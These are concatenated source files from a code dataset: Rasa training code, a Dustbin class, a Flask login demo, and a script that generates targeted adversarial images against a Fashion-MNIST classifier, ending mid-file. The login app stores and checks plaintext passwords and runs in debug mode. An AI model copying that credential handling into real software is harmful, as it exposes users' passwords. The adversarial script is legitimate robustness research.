dump_stories: bool = False,\n policy_config: Text = None,\n exclusion_percentage: int = None,\n kwargs: Optional[Dict] = None):\n from rasa_core.agent import Agent\n\n if not kwargs:\n kwargs = {}\n\n policies = config.load(policy_config)\n\n agent = Agent(domain_file,\n generator=endpoints.nlg,\n action_endpoint=endpoints.action,\n interpreter=interpreter,\n policies=policies)\n\n data_load_args, kwargs = utils.extract_args(kwargs,\n {\"use_story_concatenation\",\n \"unique_last_num_states\",\n \"augmentation_factor\",\n \"remove_duplicates\",\n \"debug_plots\"})\n\n training_data = agent.load_data(stories_file,\n exclusion_percentage=exclusion_percentage,\n **data_load_args)\n agent.train(training_data, **kwargs)\n agent.persist(output_path, dump_stories)\n\n return agent\n\n\ndef _additional_arguments(args):\n additional = {\n \"augmentation_factor\": args.augmentation,\n \"debug_plots\": args.debug_plots\n }\n # remove None values\n return {k: v for k, v in additional.items() if v is not None}\n\n\ndef train_comparison_models(stories,\n domain,\n output_path=\"\",\n exclusion_percentages=None,\n policy_configs=None,\n runs=1,\n dump_stories=False,\n kwargs=None):\n \"\"\"Train multiple models for comparison of policies\"\"\"\n\n exclusion_percentages = exclusion_percentages or []\n policy_configs = policy_configs or []\n\n for r in range(runs):\n logging.info(\"Starting run {}/{}\".format(r + 1, runs))\n\n for i in exclusion_percentages:\n current_round = exclusion_percentages.index(i) + 1\n\n for policy_config in policy_configs:\n policies = config.load(policy_config)\n\n if len(policies) > 1:\n raise ValueError(\"You can only specify one policy per \"\n \"model for comparison\")\n\n policy_name = type(policies[0]).__name__\n output = os.path.join(output_path, 'run_' + str(r + 1),\n policy_name +\n str(current_round))\n\n logging.info(\"Starting to train {} round {}/{}\"\n \" with {}% exclusion\"\n \"\".format(policy_name, current_round,\n len(exclusion_percentages), i))\n\n train(\n domain, stories, output,\n policy_config=policy_config,\n exclusion_percentage=i,\n kwargs=kwargs,\n dump_stories=dump_stories)\n\n\ndef get_no_of_stories(story_file, domain):\n \"\"\"Get number of stories in a file.\"\"\"\n\n stories = StoryFileReader.read_from_folder(story_file,\n TemplateDomain.load(domain))\n return len(stories)\n\n\ndef do_default_training(cmdline_args, stories, additional_arguments):\n \"\"\"Train a model.\"\"\"\n\n train(domain_file=cmdline_args.domain,\n stories_file=stories,\n output_path=cmdline_args.out,\n dump_stories=cmdline_args.dump_stories,\n policy_config=cmdline_args.config[0],\n kwargs=additional_arguments)\n\n\ndef do_compare_training(cmdline_args, stories, additional_arguments):\n train_comparison_models(stories,\n cmdline_args.domain,\n cmdline_args.out,\n cmdline_args.percentages,\n cmdline_args.config,\n cmdline_args.runs,\n cmdline_args.dump_stories,\n additional_arguments)\n\n no_stories = get_no_of_stories(cmdline_args.stories,\n cmdline_args.domain)\n\n # store the list of the number of stories present at each exclusion\n # percentage\n story_range = [no_stories - round((x / 100.0) * no_stories)\n for x in cmdline_args.percentages]\n\n story_n_path = os.path.join(cmdline_args.out, 'num_stories.json')\n utils.dump_obj_as_json_to_file(story_n_path, story_range)\n\n\ndef do_interactive_learning(cmdline_args, stories, additional_arguments=None):\n _endpoints = AvailableEndpoints.read_endpoints(cmdline_args.endpoints)\n _interpreter = NaturalLanguageInterpreter.create(cmdline_args.nlu,\n _endpoints.nlu)\n from rasa_core.agent import Agent\n from rasa_core.training import interactive\n\n if cmdline_args.core:\n if cmdline_args.finetune:\n raise ValueError(\"--core can only be used without \"\n \"--finetune flag.\")\n\n logger.info(\"Loading a pre-trained model. This means that \"\n \"all training-related parameters will be ignored.\")\n\n _broker = PikaProducer.from_endpoint_config(_endpoints.event_broker)\n _tracker_store = TrackerStore.find_tracker_store(\n None,\n _endpoints.tracker_store,\n _broker)\n\n _agent = Agent.load(cmdline_args.core,\n interpreter=_interpreter,\n generator=_endpoints.nlg,\n tracker_store=_tracker_store,\n action_endpoint=_endpoints.action)\n else:\n if cmdline_args.out:\n model_directory = cmdline_args.out\n else:\n model_directory = tempfile.mkdtemp(suffix=\"_core_model\")\n\n _agent = train(cmdline_args.domain,\n stories,\n model_directory,\n _interpreter,\n _endpoints,\n cmdline_args.dump_stories,\n cmdline_args.config[0],\n None,\n additional_arguments)\n\n interactive.run_interactive_learning(\n _agent, stories,\n finetune=cmdline_args.finetune,\n skip_visualization=cmdline_args.skip_visualization)\n\n\nif __name__ == '__main__':\n\n # Running as standalone python application\n arg_parser = create_argument_parser()\n set_default_subparser(arg_parser, 'default')\n cmdline_arguments = arg_parser.parse_args()\n additional_args = _additional_arguments(cmdline_arguments)\n\n utils.configure_colored_logging(cmdline_arguments.loglevel)\n\n training_stories = rasa_core.cli.train.stories_from_cli_args(\n cmdline_arguments)\n\n if cmdline_arguments.mode == 'default':\n do_default_training(cmdline_arguments,\n training_stories,\n additional_args)\n\n elif cmdline_arguments.mode == 'interactive':\n do_interactive_learning(cmdline_arguments,\n training_stories,\n additional_args)\n\n elif cmdline_arguments.mode == 'compare':\n do_compare_training(cmdline_arguments,\n training_stories,\n additional_args)\n","sub_path":"rasa_core/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":9652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"140806777","text":"from garbage import Garbage\nfrom paper_garbage import PaperGarbage\nfrom plastic_garbage import PlasticGarbage\nfrom dustbin_content_error import DustbinContentError\n\n\nclass Dustbin:\n\n def __init__(self, color):\n self.color = color\n self.paper_content = []\n self.plastic_content = []\n self.house_waste_content = []\n\n def throw_out_garbage(self, garbage): # sort garbage based on type\n if isinstance(garbage, Garbage):\n if isinstance(garbage, PlasticGarbage):\n if garbage.is_clean: # if clean, goes into plastic, otherwise can't be thrown away\n self.plastic_content.append(garbage)\n else:\n raise DustbinContentError\n elif isinstance(garbage, PaperGarbage):\n if garbage.is_squeezed: # if squeezed, goes into paper, otherwise can't be thrown away\n self.paper_content.append(garbage)\n else:\n raise DustbinContentError\n else: # not plastic nor paper\n self.house_waste_content.append(garbage)\n else: # not in garbage type\n raise DustbinContentError\n\n def empty_contents(self): # empties the garbage lists\n del self.paper_content[:]\n del self.plastic_content[:]\n del self.house_waste_content[:]\n","sub_path":"dustbin.py","file_name":"dustbin.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"479415374","text":"def to_int_list(l, split):\n l = l.split(split)\n l = all_to_int(l)\n return l\n\n\ndef all_to_int(x):\n while \"null\" in x:\n x.remove(\"null\")\n for i in range(len(x)):\n x[i] = int(x[i])\n return x\n\n\nnum = int(input())\nrec = []\nfor i in range(num):\n rec.append(to_int_list(input(), \" \"))\nres = \"YES\"\ntemp = []\nfor i in range(num):\n if i == 0:\n temp.append(max(rec[0][1], rec[0][1]))\n else:\n m = max(rec[i][0], rec[i][1])\n if m <= temp[i-1]:\n temp.append(m)\n elif min(rec[i][0], rec[i][1]) > temp[i-1]:\n res = \"NO\"\n break\n else:\n temp.append(min(rec[i][0], rec[i][1]))\nprint(res)","sub_path":"Code/CodeRecords/2910/60719/292991.py","file_name":"292991.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"409817778","text":"import tensorflow as tf\nfrom keras.utils import np_utils\nimport glob\n#import imageio\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\n#import PIL\nfrom tensorflow.keras import layers\nimport timeit\nimport time\n\n#from skimage.measure import compare_ssim\nfrom skimage.measure import compare_ssim\n\nimport pickle\n\nimport pydot\nimport graphviz\n\nfrom numpy import linalg as LA\n\nfrom IPython import display\n\nfrom tensorflow.keras import Input, Model\n\nfrom keras.models import load_model\n\n\n\n#####################################################################\n################### get_S_function\n#####################################################################\ndef get_S_function(M,r):\n '''\n\n :param M: is the number of labels\n :param r: the labels we want to take out\n :return: [M]\\r, where [M] := {0,1,2,...,M-1}\n '''\n all_M = np.arange(0, M)\n return np.setdiff1d(all_M,r)\n#########################################################################################################################################\n\n\n#####################################################################\n################### get_S_function\n#####################################################################\ndef sup_lbl_from_lbl_2(input_lbl):\n\n\n if input_lbl==0 or input_lbl==2 or input_lbl==6:\n sup_lbl_from_lbl = 0\n elif input_lbl==1 or input_lbl==5 or input_lbl==7 or input_lbl==9:\n sup_lbl_from_lbl = 1\n elif input_lbl == 3 or input_lbl == 4 or input_lbl == 8:\n sup_lbl_from_lbl = 2\n\n return sup_lbl_from_lbl\n#########################################################################################################################################\n\n\n#########################################################################################################################################\n############################### relu_scaler_Ismail ######\n#########################################################################################################################################\ndef relu_scaler_Ismail(x):\n '''\n :param x: scaler\n :return: y=relu(x)\n '''\n y=0\n if x >= 0:\n y=x\n else:\n y=0\n return y\n#########################################################################################################################################\n\n\n#########################################################################################################################################\n############################### SSIM fucntion ######\n#########################################################################################################################################\ndef SSIM_index(imageA, imageB):\n\n imageA = imageA.reshape(28, 28)\n imageB = imageB.reshape(28, 28)\n\n # rho_inf = LA.norm(input_image.reshape(784, 1) - X_test_pert[idx].reshape(784, 1) , np.inf)\n (D_s, diff) = compare_ssim(imageA, imageB, full=True)\n return D_s\n#########################################################################################################################################\n\n\n\n#########################################################################################################################################\n############################### SSIM fucntion ######\n#########################################################################################################################################\n\ntargeted_super_label_confer = pickle.load(open(\"/home/ismail/pycharmProjects/SSLTL_project/RL_adv_attacks_LP/targeted_super_label_confer.p\",\"rb\"))\n\n#########################################################################################################################################\n\n\n##########################################################################################\n############################### jensen shannon divergence fucntion - ######\n##########################################################################################\n\"\"\"\nit is a normalized and stable version of the KL divergence and return values between [0,1] where 0 is two identical distributions\n\"\"\"\n\nfrom scipy.spatial.distance import jensenshannon\n\nfrom math import log2\ndef D_JS_PMFs(p, q):\n # D_JS_PMFs(p,q) = D_JS_PMFs(q,p)\n return jensenshannon(p, q, base=2)\n\n\n####################################################################################\n################################ some dataset - MNIST fashion\n####################################################################################\n\n# download mnist data and split into train and test sets\n(train_images, train_labels), (test_images, test_labels) = tf.keras.datasets.fashion_mnist.load_data()\n# reshape data to fit model\nX_train = train_images.reshape(train_images.shape[0], 28, 28, 1)\nX_test = test_images.reshape(test_images.shape[0], 28, 28, 1)\nX_train, X_test = X_train/255, X_test/255\n# normalization:\ntrain_images = train_images / 255\ntest_images = test_images / 255\ny_test = np_utils.to_categorical(test_labels,10)\n# ###############################################\n\n\n####################################################################################\n################################ load trained model(s) and freeze\n####################################################################################\n\n# trained model for the MNIST fashion used for the FHC with 1D input and \\in [0,1]\ntrained_model = tf.keras.models.load_model('my_model_1d_last_dense_activation_seperate')\n# test the CA of the model = 90.09\n#X_test = 2*X_test - 1\n#results = trained_model.evaluate(X_test, y_test)\n#print(\"test loss, test acc:\", results)\n\n######## freeze trained_model\nfor layer in trained_model.layers:\n layer.trainable = False\n\n\n\n\nnumber_of_observations = 5\nsucc=0\nD_ssim_images_save = []\nD_JS_save = []\nrun_time_save = []\n\nBOSS_images = []\n\nfor idx in range(number_of_observations):\n start = timeit.default_timer()\n ########################################################################################\n ###########################################################################\n #################################### BUILDING THE gen model g(z,\\phi)\n ###########################################################################\n\n gen_NN = tf.keras.Sequential()\n initializer = tf.keras.initializers.RandomNormal(mean=0.0, stddev=0.05, seed=102)\n ## ADDING THE GEN MODEL layers that will be trained\n\n layer = layers.Dense(7 * 7 * 256, use_bias=False, input_shape=(100,), name='dense_gen', kernel_initializer=initializer)\n layer.trainable=True\n gen_NN.add(layer)\n\n layer = layers.BatchNormalization()\n layer.trainable=True\n gen_NN.add(layer)\n\n layer = layers.LeakyReLU()\n layer.trainable=True\n gen_NN.add(layer)\n\n layer = layers.Reshape((7, 7, 256),name='reshape_gen')\n layer.trainable=True\n gen_NN.add(layer)\n #assert combined_NN.output_shape == (None, 7, 7, 256)\n\n layer = layers.Conv2DTranspose(128, (5, 5), strides=(1, 1), padding='same', use_bias=False, kernel_initializer=initializer)\n layer.trainable=True\n gen_NN.add(layer)\n #assert gen_NN.output_shape == (None, 14, 14, 64)\n\n layer = layers.BatchNormalization()\n layer.trainable=True\n gen_NN.add(layer)\n\n layer = layers.LeakyReLU()\n layer.trainable=True\n gen_NN.add(layer)\n\n layer = layers.Conv2DTranspose(64, (5, 5), strides=(2, 2), padding='same', use_bias=False, kernel_initializer=initializer)\n layer.trainable=True\n gen_NN.add(layer)\n #assert gen_NN.output_shape == (None, 14, 14, 64)\n\n layer = layers.BatchNormalization()\n layer.trainable=True\n gen_NN.add(layer)\n\n layer = layers.LeakyReLU()\n layer.trainable=True\n gen_NN.add(layer)\n\n layer = layers.Conv2DTranspose(1, (5, 5), strides=(2, 2), padding='same', use_bias=False, activation='sigmoid', kernel_initializer=initializer)\n layer.trainable=True\n gen_NN.add(layer)\n\n\n # below is added for the 1D modification\n layer = layers.Reshape((784, 1, 1),name='reshape_gen_final')\n layer.trainable=True\n gen_NN.add(layer)\n\n\n\n\n #########################################################################################################################################\n ############################### this is NOT sequentiail traning (traning two loss fucntions from different heads of the NN) ######\n #########################################################################################################################################\n\n ### define X_d as the desired\n X_desired = X_test[idx]\n\n # these two need to be have the same values as of now since X_train is the same for both\n batch_size_gen = 80\n batch_size_2 = 80\n\n\n #################### training steps and stopping thresholds\n delta_s = 0.25\n\n delta_js = 0.35\n delta_ssim = 0.80\n\n delta_c = 0.25\n\n traning_steps = 10\n\n ############################################################\n ### automated desired for confidence reduction y_d (desired PMF)\n ################################################################\n number_of_classes = 10\n # take the predicted class instead of the true label\n #target_class = test_labels[idx]\n target_class = np.argmax(trained_model(X_desired.reshape(1, 784, 1)).numpy()[0])\n\n target_super_label = targeted_super_label_confer[idx]\n\n if target_super_label == 0:\n S_T = [0,2,6]\n if target_super_label == 1:\n S_T = [1,5,7,9]\n if target_super_label == 2:\n S_T = [3,4,8]\n\n S_T = np.array(S_T)\n\n S_T_comp = get_S_function(10, S_T)\n\n output_predictions = trained_model(X_desired.reshape(1, 784, 1)).numpy()[0]\n\n output_predictions[S_T_comp] = -100\n\n desired_target_j_star = np.argmax(output_predictions)\n\n desired_PMF = np.zeros(shape=(1, number_of_classes))\n desired_PMF[0][desired_target_j_star] = 1\n\n # # if Targeted finer label is given, then imedetaely do:\n # desired_PMF = np.zeros(shape=(1, number_of_classes))\n # desired_PMF[0][target_finer] = 1\n\n ################################################################\n ##### X_train is the same for both gen and combined models #####\n ################################################################\n # build x_train as some random input and y_train to be the desired image\n # X_train is the same as z in the paper\n\n # create one vector and repeat\n X_train_one = tf.random.uniform(shape=[1,100], minval=0., maxval=1., seed=101)\n X_train_one_np = X_train_one.numpy()\n X_train_np = np.zeros(shape=(batch_size_gen,100))\n for i in range(batch_size_gen):\n X_train_np[i,:] = X_train_one_np\n X_train = tf.convert_to_tensor(X_train_np, dtype=tf.float32)\n X_val_np = X_train_one_np\n X_val = tf.convert_to_tensor(X_val_np, dtype=tf.float32)\n\n\n ############################################################\n ### Y_train_gen for the gen model (whcih is the image)\n ################################################################\n\n # below is for the 1D image\n Y_train_np_gen = np.zeros(shape=(batch_size_gen,784,1,1))\n Y_val_gen = X_desired.reshape(1,784,1,1)\n for i in range(batch_size_gen):\n Y_train_np_gen[i,:,:,:] = Y_val_gen.reshape(784,1,1)\n # convert Y_train to tf eager tensor\n Y_train_gen = tf.convert_to_tensor(Y_train_np_gen, dtype=tf.float32)\n\n\n ############################################################\n ### Y_train_combined is the y_d (desired PMF)\n ################################################################\n\n Y_train_combined = np.zeros(shape=(batch_size_2,10))\n\n Y_val_combined = desired_PMF\n\n for i in range(batch_size_2):\n Y_train_combined[i,:] = Y_val_combined\n\n Y_desired = Y_val_combined[0]\n\n print('break')\n\n\n ####################################################################################################################\n ### defining the combined model such that its the concatenation of g, then f ==> this is defing model h in the paper\n #############################################################################################################################\n\n input = Input(shape=100)\n\n x = gen_NN.layers[0](input)\n for lay in range(len(gen_NN.layers) - 1):\n layer = gen_NN.layers[lay+1]\n layer.trainable = True\n x = layer(x)\n out_1 = x\n\n\n x_2 = trained_model.layers[0](x)\n for lay in range(len(trained_model.layers) - 1):\n layer = trained_model.layers[lay + 1]\n layer.trainable = False\n x_2 = layer(x_2)\n out_2 = x_2\n\n\n ### defining the model: this is h(z,\\psi)\n combined_NN = Model(input, [out_1, out_2])\n\n ### defning the optimizer\n optimizer = tf.keras.optimizers.Adam(learning_rate=0.05)\n\n loss_1 = tf.keras.losses.MeanSquaredError(name='LOSS_1')\n\n loss_2 = tf.keras.losses.CategoricalCrossentropy(name='LOSS_2', from_logits=False,label_smoothing=0)\n\n dynamic_weights_selection = True\n # initial losses functions weights\n lambda_gen = 1\n lambda_pmf = 0.01\n\n ############# trainING LOOP\n for i in range(traning_steps):\n\n\n combined_NN.compile(optimizer=optimizer, loss=[loss_1, loss_2], loss_weights=[lambda_gen, lambda_pmf])\n # for lay in range(18):\n # if lay >= 12:\n # layer = combined_NN.layers[lay]\n # layer.trainable = False\n\n # traning\n combined_NN.fit(X_train,[Y_train_gen, Y_train_combined], epochs=1, batch_size=1, validation_data=(X_val, [Y_val_gen,Y_val_combined]), verbose=0 )\n #combined_NN.train_on_batch(X_train, [Y_train_gen, Y_train_combined])\n # fake image at step i ==> this is X in the paper and X_val is z in the paper\n fake_image = combined_NN(X_val)[0].numpy().reshape(28, 28)\n\n\n #trained_model = load_model(\"MNIST_digits_trained_model_3.h5\")\n trained_model = tf.keras.models.load_model('my_model_1d_last_dense_activation_seperate')\n output_vector_probabilities = trained_model(fake_image.reshape(1, 28, 28, 1)).numpy()[0]\n #output_vector_probabilities = combined_NN(X_val)[1].numpy().reshape(10,)\n\n # D_2 distance between real image and fake image at step i==> this is equation (9)\n D_2_s = LA.norm(X_desired.reshape(784,) - fake_image.reshape(784,), 2)\n # SSIM distance between real image and fake image at step i ==>\n D_ssim_images = SSIM_index(X_desired, fake_image)\n # D_2 distance between desired PMF and the PMF returned by the fake image ==> this is equation (3)\n D_2 = LA.norm(output_vector_probabilities-Y_desired, 2 )\n # D_JS: JS divergence distance between desired and actual PMFs (it uses KL divergence)\n D_JS = D_JS_PMFs(output_vector_probabilities, Y_desired)\n\n\n ### THE STOPPING EXIT CRITERIA\n if D_ssim_images >= delta_ssim and D_JS <= delta_js:\n #print('BREAKING FOR IS USED with Distance SSIM = ', D_ssim_images, ' and D_JS = ', D_JS)\n break\n\n ### logger:\n #print('training step = ', i, '; image SSIM = ', D_ssim_images, ' ; PMF_JS_Distance = ', D_JS, ' ; current loss weights = ', lambda_gen,' , ', lambda_pmf )\n\n ##### dynamic weight selection option in training\n if dynamic_weights_selection is True:\n lambda_gen = relu_scaler_Ismail(lambda_gen - 0.01 * 1 * ((D_ssim_images/delta_ssim)) * np.sign((D_ssim_images/delta_ssim)-1))\n lambda_pmf = relu_scaler_Ismail(lambda_pmf - 0.05 * 0.01 * ((delta_js/D_JS)) * np.sign((delta_js/D_JS )-1))\n else:\n lambda_gen = 1\n lambda_pmf = 0.01\n\n\n ### SAVE THE DISTNCE AND PERTURBED IMAGE SO AS TO TAKE THE MINIMUM AT THE END OF THE TRAINING STEP (THIS IS TO OVER COME OVERFITTING DURING TRAINING)\n\n\n\n fake_image = combined_NN(X_val)[0].numpy().reshape(28,28)\n\n ### below is the same thing (just for sanity check)\n #trained_model = load_model(\"MNIST_digits_trained_range_1to1_1d_input.h5\")\n trained_model = tf.keras.models.load_model('my_model_1d_last_dense_activation_seperate')\n output_vector_probabilities = trained_model(fake_image.reshape(1,28,28,1)).numpy()[0]\n\n\n\n real_image = X_desired.reshape(28,28)\n\n confidence_score = np.max(trained_model(X_desired.reshape(1,28,28,1)).numpy()[0])\n\n confidence_score_BOSS = np.max(trained_model(fake_image.reshape(1,28,28,1)).numpy()[0])\n\n #### passing criteria: target_super_set = predicted_super_set(X_BOSS)\n if sup_lbl_from_lbl_2(np.argmax(trained_model(fake_image.reshape(1, 784, 1)).numpy()[0])) == target_super_label:\n succ = succ + 1\n\n\n #### outer loop logger:\n print('[index,succ] = ',[idx,succ],' - [target,predicted] = ',[target_super_label,sup_lbl_from_lbl_2(np.argmax(trained_model(fake_image.reshape(1, 784, 1)).numpy()[0]))],' - [SSIM,JS] = ',[D_ssim_images,D_JS])\n\n D_ssim_images_save.append(D_ssim_images)\n D_JS_save.append(D_JS)\n\n stop = timeit.default_timer()\n run_time_save.append(stop - start)\n BOSS_images.append(fake_image)\n #print('Time: ', stop - start)\n\n\nprint('OVERALL PERFORMANCE: ', 'succ = ' , 100*(succ/number_of_observations) , 'AVG_SSIM_JS = ',[np.mean(D_ssim_images_save),np.mean(D_JS_save)], ' AVG runtime = ',np.mean(run_time_save))\n\n\n# plt.figure()\n# plt.subplot(2,2,1)\n# plt.title('Desired example')\n# plt.imshow(real_image,cmap='gray',vmin=0, vmax=1)\n# plt.colorbar()\n# plt.axis('off')\n# plt.subplot(2,2,2)\n# plt.title('Generated example')\n# plt.imshow(fake_image,cmap='gray',vmin=0, vmax=1)\n# plt.colorbar()\n# plt.axis('off')\n# plt.subplot(2,2,4)\n# plt.title('Generated example PMF')\n# plt.stem(output_vector_probabilities)\n# plt.ylim(top=1.2)\n# plt.subplot(2,2,3)\n# plt.title('Desired PMF')\n# plt.stem(Y_val_combined[0])\n# plt.ylim(top=1.2)\n\n\n\nprint('break')\n\n\n\n","sub_path":"GenNNs_BOSS_MNIST_fashion_HCs_FHC_Targ.py","file_name":"GenNNs_BOSS_MNIST_fashion_HCs_FHC_Targ.py","file_ext":"py","file_size_in_byte":17844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"478704292","text":"#!/usr/bin/python3\n\"\"\" Module comment \"\"\"\n\nfrom flask import Flask\nfrom models import storage\nfrom models.state import State\nfrom flask import render_template\n\napp = Flask(__name__)\napp.url_map.strict_slashes = False\n\n\n@app.teardown_appcontext\ndef closetorage(self):\n \"\"\"Close storage session\"\"\"\n storage.close()\n\n\n@app.route('/states_list')\ndef trace_route():\n \"\"\" Display states in HTML\"\"\"\n states = storage.all(State).values()\n return render_template('7-states_list.html', states=states)\n\n\nif __name__ == \"__main__\":\n app.run(port=5000, host='0.0.0.0', debug=True)\n","sub_path":"web_flask/7-states_list.py","file_name":"7-states_list.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"234845803","text":"# Importing libs\nfrom flask import Flask, url_for, redirect, request, render_template\n\nclass Utils:\n\n def read_file(self, file_name):\n file = open(file_name, \"r+\")\n lines = file.readlines()\n file.close()\n\n return lines\n\n def load_users(self, list_users):\n dict_current_users = {}\n for user in list_users:\n dict_current_users.update({user.split(\"|\")[0]: user.split(\"|\")[1]})\n\n return dict_current_users\n\n def load_grades(self, grades, user):\n dict_current_grades = {}\n for grade in grades:\n dict_current_grades.update({grade.split('|')[0]: grade.split('|')[1:-1]})\n return dict_current_grades.get(user)\n\n def validate_login(self, username, password):\n try:\n current_users = self.read_file(\"keylogs.txt\")\n except FileNotFoundError:\n current_users = []\n\n dict_current_users = self.load_users(current_users)\n\n try:\n return password == dict_current_users[username]\n except KeyError:\n return False\n\n\n# app Flask instance\napp = Flask(__name__)\n\nusers_projects = {'rafael': [[0, 'ler documentação flask', '31/03/2019', 'Rafael'],\n [1, 'ler documentação jinja', '31/03/2019', 'Rafael']],\n 'tonho': [[0, 'estudar IA', '31/03/2019', 'Tonho'],\n [1, 'estudar paradigmas', '31/03/2019', 'Tonho']]}\n\nprojects_activities = {'rafael0':\n[\n [0, 'Nome ativ_1 proj_0','14/03/2019', '31/03/2019', 'Rafael', 'Detalhamento Ativ 1'],\n [1, 'Nome ativ_2 proj_0','14/03/2019', '31/03/2019', 'Rafael', 'Detalhamento Ativ 2'],\n [2, 'Nome ativ_3 proj_0','14/03/2019', '31/03/2019', 'Rafael', 'Detalhamento Ativ 3']\n],\n 'rafael1':\n[\n [0, 'Nome ativ_1 proj_1','14/03/2019', '31/03/2019', 'Rafael', 'Detalhamento Ativ 1'],\n [1, 'Nome ativ_2 proj_1','14/03/2019', '31/03/2019', 'Rafael', 'Detalhamento Ativ 2'],\n [2, 'Nome ativ_3 proj_1','14/03/2019', '31/03/2019', 'Rafael', 'Detalhamento Ativ 3']\n],\n 'tonho0':\n[\n [0, 'Nome ativ_1 proj_0','14/03/2019', '31/03/2019', 'Tonho', 'Detalhamento Ativ 1'],\n [1, 'Nome ativ_2 proj_0','14/03/2019', '31/03/2019', 'Tonho', 'Detalhamento Ativ 2'],\n [2, 'Nome ativ_3 proj_0','14/03/2019', '31/03/2019', 'Tonho', 'Detalhamento Ativ 3']\n],\n 'tonho1':\n[\n [0, 'Nome ativ_1 proj_1','14/03/2019', '31/03/2019', 'Tonho', 'Detalhamento Ativ 1'],\n [1, 'Nome ativ_2 proj_1','14/03/2019', '31/03/2019', 'Tonho', 'Detalhamento Ativ 2'],\n [2, 'Nome ativ_3 proj_1','14/03/2019', '31/03/2019', 'Tonho', 'Detalhamento Ativ 3']\n]}\n\n\n# route to /\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if request.method == 'POST':\n login = request.form['username']\n password = request.form['password']\n\n util = Utils()\n if util.validate_login(login, password):\n return render_template('oi.html', username=login, projects= users_projects)\n else:\n return render_template('index.html', erro='Login e/ou senha incorreto')\n\n return(render_template('index.html', erro='Método não permitido.'))\n\n\n@app.route('/prepare_activities')\ndef prepare_activities():\n username = request.args.get('username')\n proj = request.args.get('proj')\n project_id = username+str(proj)\n\n return render_template('activities.html', username= username,\n activities= projects_activities[project_id],\n project= project_id)\n\n@app.route('/activity')\ndef detail_activity():\n username = request.args.get('username')\n project_id = request.args.get('project_id')\n activity = request.args.get('activity')\n\n print(project_id, '\\n', activity)\n my_activity = projects_activities[project_id][int(activity)]\n\n return render_template('activity.html', username= username,\n activity= my_activity)\n\n# Starting app\nif __name__ == '__main__':\n app.run(debug=True)\n\n","sub_path":"LTP 2/learningFlask/00 lessons/2019-03-14/projects_main.py","file_name":"projects_main.py","file_ext":"py","file_size_in_byte":4106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"517642572","text":"from torchvision import datasets\r\nimport torch\r\nimport torch.nn as nn\r\nfrom torchvision.transforms import transforms\r\nimport time\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n\r\nbatch_size = 96\r\nnum_workers = 0\r\nn_epoches = 100\r\n\r\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\r\nprint(\"using {} device.\".format(device))\r\n\r\ntrain_transform = transforms.Compose([\r\n transforms.Resize(size=(256,256)),\r\n transforms.RandomResizedCrop(224),\r\n transforms.RandomHorizontalFlip(),\r\n transforms.RandomRotation(20),\r\n transforms.ToTensor(),\r\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\r\n])\r\nvalidate_transform = transforms.Compose([\r\n transforms.Resize(size=(256,256)),\r\n transforms.RandomResizedCrop(224),\r\n transforms.RandomHorizontalFlip(),\r\n transforms.ToTensor(),\r\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\r\n])\r\n\r\ndata_dir = './FIRE-SMOKE-DATASET/FIRE-SMOKE-DATASET'\r\ntrain_dir = data_dir + '/Train'\r\nvalidate_dir = data_dir + '/Validation'\r\n\r\ntrain_data = datasets.ImageFolder(train_dir, transform=train_transform)\r\ntrain_loader = torch.utils.data.DataLoader(train_data, batch_size=batch_size, num_workers=num_workers, shuffle=True)\r\nvalidate_data = datasets.ImageFolder(train_dir, transform=validate_transform)\r\nvalidate_loader = torch.utils.data.DataLoader(validate_data, batch_size=batch_size, num_workers=num_workers, shuffle=True)\r\n\r\nclass ZFNetbn(nn.Module):\r\n\r\n def __init__(self, num_classes=2):\r\n super(ZFNetbn, self).__init__()\r\n self.features = nn.Sequential(\r\n nn.Conv2d(3, 64, kernel_size=7, stride=2, padding=2),\r\n nn.BatchNorm2d(64),\r\n nn.ReLU(inplace=True),\r\n nn.MaxPool2d(kernel_size=3, stride=2),\r\n nn.Conv2d(64, 192, kernel_size=5, stride=2, padding=2),\r\n nn.BatchNorm2d(192),\r\n nn.ReLU(inplace=True),\r\n nn.MaxPool2d(kernel_size=3, stride=2),\r\n nn.Conv2d(192, 384, kernel_size=3, padding=1),\r\n nn.BatchNorm2d(384),\r\n nn.ReLU(inplace=True),\r\n nn.Conv2d(384, 256, kernel_size=3, padding=1),\r\n nn.BatchNorm2d(256),\r\n nn.ReLU(inplace=True),\r\n nn.Conv2d(256, 256, kernel_size=3, padding=1),\r\n nn.BatchNorm2d(256),\r\n nn.ReLU(inplace=True),\r\n nn.MaxPool2d(kernel_size=3, stride=2),\r\n )\r\n self.avgpool = nn.AdaptiveAvgPool2d((6, 6))\r\n self.classifier = nn.Sequential(\r\n nn.Dropout(),\r\n nn.Linear(256 * 6 * 6, 4096),\r\n nn.ReLU(inplace=True),\r\n nn.Dropout(),\r\n nn.Linear(4096, 4096),\r\n nn.ReLU(inplace=True),\r\n nn.Linear(4096, num_classes),\r\n )\r\n\r\n def forward(self, x):\r\n x = self.features(x)\r\n x = self.avgpool(x)\r\n x = torch.flatten(x, 1)\r\n x = self.classifier(x)\r\n return x\r\n\r\nmodel = ZFNetbn(num_classes = 2)\r\nmodel = model.to(device)\r\n\r\ncriterion = torch.nn.CrossEntropyLoss()\r\noptimizer = torch.optim.Adam(model.parameters(), lr=0.001)\r\n\r\ntrain_accuracy_list = []\r\ntrain_loss_list = []\r\n\r\ndef train(epochs, train_loader, model, optimizer, criterion, save_path):\r\n best_acc = 0\r\n time_start = time.time()\r\n for epoch in range(epochs+1):\r\n train_loss = 